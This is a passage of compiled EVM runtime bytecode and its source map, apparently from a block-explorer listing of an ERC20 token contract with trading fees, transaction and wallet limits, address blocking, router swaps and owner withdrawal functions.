152600401602060405180830381865afa1580156104dd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105019190611869565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610560573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105849190611869565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156105ce573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105f29190611869565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d7194730610639816001600160a01b03165f9081526001602052604090205490565b5f8061064c5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106b2573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106d79190611884565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561072c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075091906118af565b50565b5f61075f338484610b13565b5060015b92915050565b5f6107766012600a611844565b610784906305f5e100611852565b905090565b5f546001600160a01b031633146107b25760405162461bcd60e51b81526004016103e290611718565b5f47116107bd575f80fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610750573d5f803e3d5ffd5b5f610800848484610c36565b61084c8433610488856040518060600160405280602881526020016119c7602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611096565b5060019392505050565b5f546001600160a01b0316331461087f5760405162461bcd60e51b81526004016103e290611718565b601454600160a01b900460ff16156108d35760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016103e2565b6014805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146109155760405162461bcd60e51b81526004016103e290611718565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146109865760405162461bcd60e51b81526004016103e290611718565b5f19600e819055600f8190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b5f546001600160a01b031633146109f05760405162461bcd60e51b81526004016103e290611718565b6040516370a0823160e01b81523060048201525f90610a7190606490610a6b9085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610a41573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a6591906118ce565b906110ce565b90611153565b9050826001600160a01b031663a9059cbb610a935f546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610add573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b0191906118af565b50505050565b5f61075f338484610c36565b6001600160a01b038316610b755760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e2565b6001600160a01b038216610bd65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e2565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c9a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e2565b6001600160a01b038216610cfc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e2565b5f8111610d5d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103e2565b5f80546001600160a01b03858116911614801590610d8857505f546001600160a01b03848116911614155b1561108a576001600160a01b0384165f9081526005602052604090205460ff16158015610dcd57506001600160a01b0383165f9081526005602052604090205460ff16155b610dd5575f80fd5b601454600160a01b900460ff1680610e0457506001600160a01b0384165f9081526003602052604090205460ff165b610e465760405162461bcd60e51b81526020600482015260136024820152721cd95b99081a5cc81b9bdd08195b98589b1959606a1b60448201526064016103e2565b6014546001600160a01b038581169116148015610e7157506013546001600160a01b03848116911614155b8015610e9557506001600160a01b0383165f9081526003602052604090205460ff16155b15610fa357600e54821115610eec5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103e2565b600f5482610f0e856001600160a01b03165f9081526001602052604090205490565b610f1891906118e5565b1115610f665760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103e2565b600d8054905f610f75836118f8565b9190505550610fa06064610a6b600a54600d5411610f9557600654610f99565b6008545b85906110ce565b90505b6014546001600160a01b038481169116148015610fc957506001600160a01b0384163014155b15610ff657610ff36064610a6b600b54600d5411610fe957600754610f99565b60095485906110ce565b90505b305f90815260016020526040902054601454600160a81b900460ff1615801561102c57506014546001600160a01b038581169116145b80156110415750601454600160b01b900460ff165b15611088576010548111801561105a5750600c54600d54115b1561107c5761107c6110778461107284601154611194565b611194565b6111a8565b4761108681611318565b505b505b610b0184848385611353565b5f81848411156110b95760405162461bcd60e51b81526004016103e29190611615565b505f6110c58486611910565b95945050505050565b5f825f036110dd57505f610763565b5f6110e88385611852565b9050826110f58583611923565b1461114c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103e2565b9392505050565b5f61114c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061149f565b5f8183116111a2578261114c565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106111ee576111ee611942565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611245573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112699190611869565b8160018151811061127c5761127c611942565b6001600160a01b0392831660209182029290920101526013546112a29130911684610b13565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906112da9085905f90869030904290600401611956565b5f604051808303815f87803b1580156112f1575f80fd5b505af1158015611303573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b6012546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561134f573d5f803e3d5ffd5b5050565b81156113cb57305f9081526001602052604090205461137290836114cb565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113c29086815260200190565b60405180910390a35b5f6113d68583611529565b6001600160a01b0386165f908152600160205260409020549091506113fb90826115d4565b6001600160a01b0386165f9081526001602052604090205561143e61142083856115d4565b6001600160a01b0386165f90815260016020526040902054906114cb565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61148785876115d4565b60405190815260200160405180910390a35050505050565b5f81836114bf5760405162461bcd60e51b81526004016103e29190611615565b505f6110c58486611923565b5f806114d783856118e5565b90508381101561114c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103e2565b6001600160a01b0382165f9081526004602052604081205460ff1615801561154f575060015b61158f576001600160a01b0383165f9081526003602052604090205461158a9060ff161561157f57600854611583565b6009545b83906110ce565b61114c565b6001600160a01b0383165f9081526003602052604090205461114c9060ff16156115c6576008546115c19060016118e5565b611583565b6009546115839060016118e5565b5f61114c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611096565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610750575f80fd5b5f806040838503121561166f575f80fd5b823561167a8161164a565b946020939093013593505050565b5f805f6060848603121561169a575f80fd5b83356116a58161164a565b925060208401356116b58161164a565b929592945050506040919091013590565b5f602082840312156116d6575f80fd5b813561114c8161164a565b5f80604083850312156116f2575f80fd5b82356116fd8161164a565b9150602083013561170d8161164a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561179c578085048111156117805761178061174d565b600184161561178e57908102905b60019390931c928002611765565b935093915050565b5f826117b257506001610763565b816117be57505f610763565b81600181146117d457600281146117de576117fa565b6001915050610763565b60ff8411156117ef576117ef61174d565b50506001821b610763565b5060208310610133831016604e8410600b841016171561181d575081810a610763565b6118295f198484611761565b805f190482111561183c5761183c61174d565b029392505050565b5f61114c60ff8416836117a4565b80820281158282048414176107635761076361174d565b5f60208284031215611879575f80fd5b815161114c8161164a565b5f805f60608486031215611896575f80fd5b5050815160208301516040909301519094929350919050565b5f602082840312156118bf575f80fd5b8151801515811461114c575f80fd5b5f602082840312156118de575f80fd5b5051919050565b808201808211156107635761076361174d565b5f600182016119095761190961174d565b5060010190565b818103818111156107635761076361174d565b5f8261193d57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156119a65783516001600160a01b031683526020938401939092019160010161197f565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204e6c4d6d7e674169555d96adb2ee9c7103f821f1f174e245da9d95257c40a32464736f6c634300081a0033

Deployed Bytecode Sourcemap

3839:8887:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10753:821;;;;;;;;;;;;;:::i;:::-;;5788:83;;;;;;;;;;-1:-1:-1;5858:5:0;;;;;;;;;;;;-1:-1:-1;;;5858:5:0;;;;5788:83;;;;;;;:::i;:::-;;;;;;;;6662:186;;;;;;;;;;-1:-1:-1;6662:186:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;6662:186:0;945:187:1;4945:47:0;;;;;;;;;;;;;;;;;;;1283:25:1;;;1271:2;1256:18;4945:47:0;1137:177:1;6059:100:0;;;;;;;;;;;;;:::i;12571:152::-;;;;;;;;;;;;;:::i;6859:446::-;;;;;;;;;;-1:-1:-1;6859:446:0;;;;;:::i;:::-;;:::i;10575:172::-;;;;;;;;;;;;;:::i;5970:83::-;;;;;;;;;;-1:-1:-1;5970:83:0;;4526:2;1974:36:1;;1962:2;1947:18;5970:83:0;1832:184:1;6165:119:0;;;;;;;;;;-1:-1:-1;6165:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6258:18:0;6231:7;6258:18;;;:9;:18;;;;;;;6165:119;2846:148;;;;;;;;;;;;;:::i;7652:194::-;;;;;;;;;;;;;:::i;4758:54::-;;;;;;;;;;;;;;;;12294:271;;;;;;;;;;-1:-1:-1;12294:271:0;;;;;:::i;:::-;;:::i;2636:79::-;;;;;;;;;;-1:-1:-1;2674:7:0;2701:6;2636:79;;-1:-1:-1;;;;;2701:6:0;;;2419:51:1;;2407:2;2392:18;2636:79:0;2273:203:1;4819:56:0;;;;;;;;;;;;;;;;5877:87;;;;;;;;;;-1:-1:-1;5949:7:0;;;;;;;;;;;;-1:-1:-1;;;5949:7:0;;;;5877:87;;6290:192;;;;;;;;;;-1:-1:-1;6290:192:0;;;;;:::i;:::-;;:::i;4882:56::-;;;;;;;;;;;;;;;;6488:168;;;;;;;;;;-1:-1:-1;6488:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;6621:18:0;;;6594:7;6621:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6488:168;10753:821;2761:6;;-1:-1:-1;;;;;2761:6:0;283:10;2761:22;2753:67;;;;-1:-1:-1;;;2753:67:0;;;;;;;:::i;:::-;;;;;;;;;10810:13:::1;::::0;-1:-1:-1;;;10810:13:0;::::1;;;10809:14;10801:50;;;::::0;-1:-1:-1;;;10801:50:0;;3437:2:1;10801:50:0::1;::::0;::::1;3419:21:1::0;3476:2;3456:18;;;3449:30;-1:-1:-1;;;3495:18:1;;;3488:53;3558:18;;10801:50:0::1;3235:347:1::0;10801:50:0::1;10862:15;:104:::0;;-1:-1:-1;;;;;;10862:104:0::1;10913:42;10862:104:::0;;::::1;::::0;;;10977:63:::1;::::0;10994:4:::1;::::0;4589:15:::1;4526:2;4589;:15;:::i;:::-;4575:29;::::0;:11:::1;:29;:::i;:::-;10977:8;:63::i;:::-;11085:15;;;;;;;;;-1:-1:-1::0;;;;;11085:15:0::1;-1:-1:-1::0;;;;;11085:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11067:55:0::1;;11149:4;11173:15;;;;;;;;;-1:-1:-1::0;;;;;11173:15:0::1;-1:-1:-1::0;;;;;11173:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11067:143;::::0;-1:-1:-1;;;;;;11067:143:0::1;::::0;;;;;;-1:-1:-1;;;;;5772:32:1;;;11067:143:0::1;::::0;::::1;5754:51:1::0;5841:32;;5821:18;;;5814:60;5727:18;;11067:143:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11051:13;:159:::0;;-1:-1:-1;;;;;11051:159:0;;::::1;-1:-1:-1::0;;;;;;11051:159:0;;::::1;;::::0;;11221:15:::1;::::0;::::1;:31;11260:21;11305:4;11325:24;11305:4:::0;-1:-1:-1;;;;;6258:18:0;6231:7;6258:18;;;:9;:18;;;;;;;6165:119;11325:24:::1;11364:1;11380::::0;11396:7:::1;2674::::0;2701:6;-1:-1:-1;;;;;2701:6:0;;2636:79;11396:7:::1;11221:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11221:223:0;;;-1:-1:-1;;;;;6206:32:1;;;11221:223:0::1;::::0;::::1;6188:51:1::0;6255:18;;;6248:34;;;;6298:18;;;6291:34;;;;6341:18;;;6334:34;6405:32;;;6384:19;;;6377:61;11418:15:0::1;6454:19:1::0;;;6447:35;6160:19;;11221:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11462:13:0::1;::::0;11507:15:::1;::::0;11455:111:::1;::::0;-1:-1:-1;;;11455:111:0;;-1:-1:-1;;;;;11507:15:0;;::::1;11455:111;::::0;::::1;7128:51:1::0;-1:-1:-1;;7195:18:1;;;7188:34;11462:13:0;::::1;::::0;-1:-1:-1;11455:29:0::1;::::0;7101:18:1;;11455:111:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10753:821::o:0;6662:186::-;6762:4;6779:39;283:10;6802:7;6811:6;6779:8;:39::i;:::-;-1:-1:-1;6836:4:0;6662:186;;;;;:::o;6059:100::-;6112:7;4589:15;4526:2;4589;:15;:::i;:::-;4575:29;;:11;:29;:::i;:::-;6132:19;;6059:100;:::o;12571:152::-;2761:6;;-1:-1:-1;;;;;2761:6:0;283:10;2761:22;2753:67;;;;-1:-1:-1;;;2753:67:0;;;;;;;:::i;:::-;12654:1:::1;12630:21;:25;12622:34;;;::::0;::::1;;2674:7:::0;2701:6;;12667:48:::1;::::0;-1:-1:-1;;;;;2701:6:0;;;;12693:21:::1;12667:48:::0;::::1;;;::::0;12693:21;;12667:48;2674:7;12667:48;12693:21;2701:6;12667:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;6859:446:::0;6991:4;7008:36;7018:6;7026:9;7037:6;7008:9;:36::i;:::-;7055:220;7078:6;283:10;7126:138;7182:6;7126:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7126:19:0;;;;;;:11;:19;;;;;;;;283:10;7126:33;;;;;;;;;;:37;:138::i;7055:220::-;-1:-1:-1;7293:4:0;6859:446;;;;;:::o;10575:172::-;2761:6;;-1:-1:-1;;;;;2761:6:0;283:10;2761:22;2753:67;;;;-1:-1:-1;;;2753:67:0;;;;;;;:::i;:::-;10638:13:::1;::::0;-1:-1:-1;;;10638:13:0;::::1;;;10637:14;10629:50;;;::::0;-1:-1:-1;;;10629:50:0;;3437:2:1;10629:50:0::1;::::0;::::1;3419:21:1::0;3476:2;3456:18;;;3449:30;-1:-1:-1;;;3495:18:1;;;3488:53;3558:18;;10629:50:0::1;3235:347:1::0;10629:50:0::1;10690:11;:18:::0;;-1:-1:-1;;;;10719:20:0;-1:-1:-1;;;10719:20:0;;;10575:172::o;2846:148::-;2761:6;;-1:-1:-1;;;;;2761:6:0;283:10;2761:22;2753:67;;;;-1:-1:-1;;;2753:67:0;;;;;;;:::i;:::-;2953:1:::1;2937:6:::0;;2916:40:::1;::::0;-1:-1:-1;;;;;2937:6:0;;::::1;::::0;2916:40:::1;::::0;2953:1;;2916:40:::1;2984:1;2967:19:::0;;-1:-1:-1;;;;;;2967:19:0::1;::::0;;2846:148::o;7652:194::-;2761:6;;-1:-1:-1;;;;;2761:6:0;283:10;2761:22;2753:67;;;;-1:-1:-1;;;2753:67:0;;;;;;;:::i;:::-;-1:-1:-1;;7708:12:0::1;:32:::0;;;7751:14:::1;:34:::0;;;7801:37:::1;::::0;1283:25:1;;;7801:37:0::1;::::0;1271:2:1;1256:18;7801:37:0::1;;;;;;;7652:194::o:0;12294:271::-;2761:6;;-1:-1:-1;;;;;2761:6:0;283:10;2761:22;2753:67;;;;-1:-1:-1;;;2753:67:0;;;;;;;:::i;:::-;12398:55:::1;::::0;-1:-1:-1;;;12398:55:0;;12447:4:::1;12398:55;::::0;::::1;2419:51:1::0;12380:15:0::1;::::0;12398:105:::1;::::0;12499:3:::1;::::0;12398:82:::1;::::0;12472:7;;-1:-1:-1;;;;;12398:40:0;::::1;::::0;::::1;::::0;2392:18:1;;12398:55:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:73:::0;::::1;:82::i;:::-;:100:::0;::::1;:105::i;:::-;12380:123;;12521:8;-1:-1:-1::0;;;;;12514:25:0::1;;12540:7;2674::::0;2701:6;-1:-1:-1;;;;;2701:6:0;;2636:79;12540:7:::1;12514:43;::::0;-1:-1:-1;;;;;;12514:43:0::1;::::0;;;;;;-1:-1:-1;;;;;7146:32:1;;;12514:43:0::1;::::0;::::1;7128:51:1::0;7195:18;;;7188:34;;;7101:18;;12514:43:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;12369:196;12294:271:::0;;:::o;6290:192::-;6393:4;6410:42;283:10;6434:9;6445:6;6410:9;:42::i;7311:335::-;-1:-1:-1;;;;;7404:19:0;;7396:68;;;;-1:-1:-1;;;7396:68:0;;7952:2:1;7396:68:0;;;7934:21:1;7991:2;7971:18;;;7964:30;8030:34;8010:18;;;8003:62;-1:-1:-1;;;8081:18:1;;;8074:34;8125:19;;7396:68:0;7750:400:1;7396:68:0;-1:-1:-1;;;;;7483:21:0;;7475:68;;;;-1:-1:-1;;;7475:68:0;;8357:2:1;7475:68:0;;;8339:21:1;8396:2;8376:18;;;8369:30;8435:34;8415:18;;;8408:62;-1:-1:-1;;;8486:18:1;;;8479:32;8528:19;;7475:68:0;8155:398:1;7475:68:0;-1:-1:-1;;;;;7554:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7606:32;;1283:25:1;;;7606:32:0;;1256:18:1;7606:32:0;;;;;;;7311:335;;;:::o;7887:1875::-;-1:-1:-1;;;;;7986:18:0;;7978:68;;;;-1:-1:-1;;;7978:68:0;;8760:2:1;7978:68:0;;;8742:21:1;8799:2;8779:18;;;8772:30;8838:34;8818:18;;;8811:62;-1:-1:-1;;;8889:18:1;;;8882:35;8934:19;;7978:68:0;8558:401:1;7978:68:0;-1:-1:-1;;;;;8065:19:0;;8057:67;;;;-1:-1:-1;;;8057:67:0;;9166:2:1;8057:67:0;;;9148:21:1;9205:2;9185:18;;;9178:30;9244:34;9224:18;;;9217:62;-1:-1:-1;;;9295:18:1;;;9288:33;9338:19;;8057:67:0;8964:399:1;8057:67:0;8160:1;8143:14;:18;8135:72;;;;-1:-1:-1;;;8135:72:0;;9570:2:1;8135:72:0;;;9552:21:1;9609:2;9589:18;;;9582:30;9648:34;9628:18;;;9621:62;-1:-1:-1;;;9699:18:1;;;9692:39;9748:19;;8135:72:0;9368:405:1;8135:72:0;8218:17;2701:6;;-1:-1:-1;;;;;8254:15:0;;;2701:6;;8254:15;;;;:35;;-1:-1:-1;2674:7:0;2701:6;-1:-1:-1;;;;;8273:16:0;;;2701:6;;8273:16;;8254:35;8250:1439;;;-1:-1:-1;;;;;8315:10:0;;;;;;:4;:10;;;;;;;;8314:11;:27;;;;-1:-1:-1;;;;;;8330:11:0;;;;;;:4;:11;;;;;;;;8329:12;8314:27;8306:36;;;;;;8365:13;;-1:-1:-1;;;8365:13:0;;;;;:43;;-1:-1:-1;;;;;;8382:26:0;;;;;;:20;:26;;;;;;;;8365:43;8357:75;;;;-1:-1:-1;;;8357:75:0;;9980:2:1;8357:75:0;;;9962:21:1;10019:2;9999:18;;;9992:30;-1:-1:-1;;;10038:18:1;;;10031:49;10097:18;;8357:75:0;9778:343:1;8357:75:0;8459:13;;-1:-1:-1;;;;;8451:21:0;;;8459:13;;8451:21;:58;;;;-1:-1:-1;8493:15:0;;-1:-1:-1;;;;;8476:33:0;;;8493:15;;8476:33;;8451:58;:90;;;;-1:-1:-1;;;;;;8514:27:0;;;;;;:20;:27;;;;;;;;8513:28;8451:90;8447:465;;;8602:12;;8584:14;:30;;8576:68;;;;-1:-1:-1;;;8576:68:0;;10328:2:1;8576:68:0;;;10310:21:1;10367:2;10347:18;;;10340:30;10406:27;10386:18;;;10379:55;10451:18;;8576:68:0;10126:349:1;8576:68:0;8708:14;;8690;8671:16;8681:5;-1:-1:-1;;;;;6258:18:0;6231:7;6258:18;;;:9;:18;;;;;;;6165:119;8671:16;:33;;;;:::i;:::-;:51;;8663:90;;;;-1:-1:-1;;;8663:90:0;;10812:2:1;8663:90:0;;;10794:21:1;10851:2;10831:18;;;10824:30;10890:28;10870:18;;;10863:56;10936:18;;8663:90:0;10610:350:1;8663:90:0;8772:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8814:82;8892:3;8814:73;8846:15;;8834:9;;:27;8833:53;;8875:11;;8833:53;;;8864:9;;8833:53;8814:14;;:18;:73::i;:82::-;8802:94;;8447:465;8939:13;;-1:-1:-1;;;;;8930:22:0;;;8939:13;;8930:22;:47;;;;-1:-1:-1;;;;;;8956:21:0;;8972:4;8956:21;;8930:47;8926:185;;;9010:85;9091:3;9010:76;9042:16;;9030:9;;:28;9029:56;;9073:12;;9029:56;;;9061:10;;9010:14;;:18;:76::i;:85::-;8998:97;;8926:185;9174:4;9125:28;6258:18;;;:9;:18;;;;;;9200:6;;-1:-1:-1;;;9200:6:0;;;;9199:7;:33;;;;-1:-1:-1;9219:13:0;;-1:-1:-1;;;;;9210:22:0;;;9219:13;;9210:22;9199:33;:48;;;;-1:-1:-1;9236:11:0;;-1:-1:-1;;;9236:11:0;;;;9199:48;9195:483;;;9295:17;;9272:20;:40;:74;;;;;9328:18;;9316:9;;:30;9272:74;9268:244;;;9387:125;9430:59;9434:14;9450:38;9454:20;9476:11;;9450:3;:38::i;:::-;9430:3;:59::i;:::-;9387:16;:125::i;:::-;9557:21;9629:33;9646:15;9629:16;:33::i;:::-;9249:429;9195:483;8291:1398;8250:1439;9700:54;9715:4;9721:5;9728:9;9739:14;9700;:54::i;1450:224::-;1570:7;1606:12;1598:6;;;;1590:29;;;;-1:-1:-1;;;1590:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1630:9:0;1642:5;1646:1;1642;:5;:::i;:::-;1630:17;1450:224;-1:-1:-1;;;;;1450:224:0:o;1680:246::-;1738:7;1762:1;1767;1762:6;1758:47;;-1:-1:-1;1792:1:0;1785:8;;1758:47;1815:9;1827:5;1831:1;1827;:5;:::i;:::-;1815:17;-1:-1:-1;1860:1:0;1851:5;1855:1;1815:17;1851:5;:::i;:::-;:10;1843:56;;;;-1:-1:-1;;;1843:56:0;;11662:2:1;1843:56:0;;;11644:21:1;11701:2;11681:18;;;11674:30;11740:34;11720:18;;;11713:62;-1:-1:-1;;;11791:18:1;;;11784:31;11832:19;;1843:56:0;11460:397:1;1843:56:0;1917:1;1680:246;-1:-1:-1;;;1680:246:0:o;1932:132::-;1990:7;2017:39;2021:1;2024;2017:39;;;;;;;;;;;;;;;;;:3;:39::i;11580:107::-;11637:7;11669:1;11665;:5;11664:15;;11678:1;11664:15;;;-1:-1:-1;11674:1:0;11580:107;-1:-1:-1;11580:107:0:o;11693:483::-;5377:6;:13;;-1:-1:-1;;;;5377:13:0;-1:-1:-1;;;5377:13:0;;;11795:16:::1;::::0;;11809:1:::1;11795:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11795:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11795:16:0::1;11771:40;;11840:4;11822;11827:1;11822:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11822:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11866:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11866:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11822:7;;11866:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11856:4;11861:1;11856:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11856:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11931:15:::1;::::0;11899:62:::1;::::0;11916:4:::1;::::0;11931:15:::1;11949:11:::0;11899:8:::1;:62::i;:::-;11972:15;::::0;:196:::1;::::0;-1:-1:-1;;;11972:196:0;;-1:-1:-1;;;;;11972:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12053:11;;11972:15:::1;::::0;12095:4;;12122::::1;::::0;12142:15:::1;::::0;11972:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5413:6:0;:14;;-1:-1:-1;;;;5413:14:0;;;-1:-1:-1;;;;11693:483:0:o;12188:100::-;12249:14;;:31;;-1:-1:-1;;;;;12249:14:0;;;;:31;;;;;12273:6;;12249:14;:31;:14;:31;12273:6;12249:14;:31;;;;;;;;;;;;;;;;;;;;;12188:100;:::o;9768:463::-;9871:8;;9868:142;;9927:4;9909:24;;;;:9;:24;;;;;;:34;;9938:4;9909:28;:34::i;:::-;9900:4;9882:24;;;;:9;:24;;;;;;;:61;;;;9963:35;;-1:-1:-1;;;;;9963:35:0;;;;;;;9993:4;1283:25:1;;1271:2;1256:18;;1137:177;9963:35:0;;;;;;;;9868:142;10020:13;10036:16;10041:4;10047;10036;:16::i;:::-;-1:-1:-1;;;;;10081:15:0;;;;;;:9;:15;;;;;;10020:32;;-1:-1:-1;10081:26:0;;10020:32;10081:19;:26::i;:::-;-1:-1:-1;;;;;10063:15:0;;;;;;:9;:15;;;;;:44;10136:35;10156:14;:4;10165;10156:8;:14::i;:::-;-1:-1:-1;;;;;10136:15:0;;;;;;:9;:15;;;;;;;:19;:35::i;:::-;-1:-1:-1;;;;;10118:15:0;;;;;;;:9;:15;;;;;:53;;;;10187:36;;;10208:14;:4;10217;10208:8;:14::i;:::-;10187:36;;1283:25:1;;;1271:2;1256:18;10187:36:0;;;;;;;9857:374;9768:463;;;;:::o;2070:223::-;2190:7;2225:12;2218:5;2210:28;;;;-1:-1:-1;;;2210:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2249:9:0;2261:5;2265:1;2261;:5;:::i;1123:179::-;1181:7;;1213:5;1217:1;1213;:5;:::i;:::-;1201:17;;1242:1;1237;:6;;1229:46;;;;-1:-1:-1;;;1229:46:0;;13292:2:1;1229:46:0;;;13274:21:1;13331:2;13311:18;;;13304:30;13370:29;13350:18;;;13343:57;13417:18;;1229:46:0;13090:351:1;10237:332:0;-1:-1:-1;;;;;10347:23:0;;10311:15;10347:23;;;:18;:23;;;;;;;;10346:24;:47;;;;-1:-1:-1;10374:19:0;10346:47;:215;;-1:-1:-1;;;;;10514:25:0;;;;;;:20;:25;;;;;;10494:67;;10514:25;;10513:26;:47;;10551:9;;10513:47;;;10540:10;;10513:47;10494:14;;:18;:67::i;:::-;10346:215;;;-1:-1:-1;;;;;10424:25:0;;;;;;:20;:25;;;;;;10404:77;;10424:25;;10423:26;:57;;10467:9;;:13;;10479:1;10467:13;:::i;:::-;10423:57;;;10450:10;;:14;;10463:1;10450:14;:::i;1308:136::-;1366:7;1393:43;1397:1;1400;1393:43;;;;;;;;;;;;;;;;;:3;:43::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6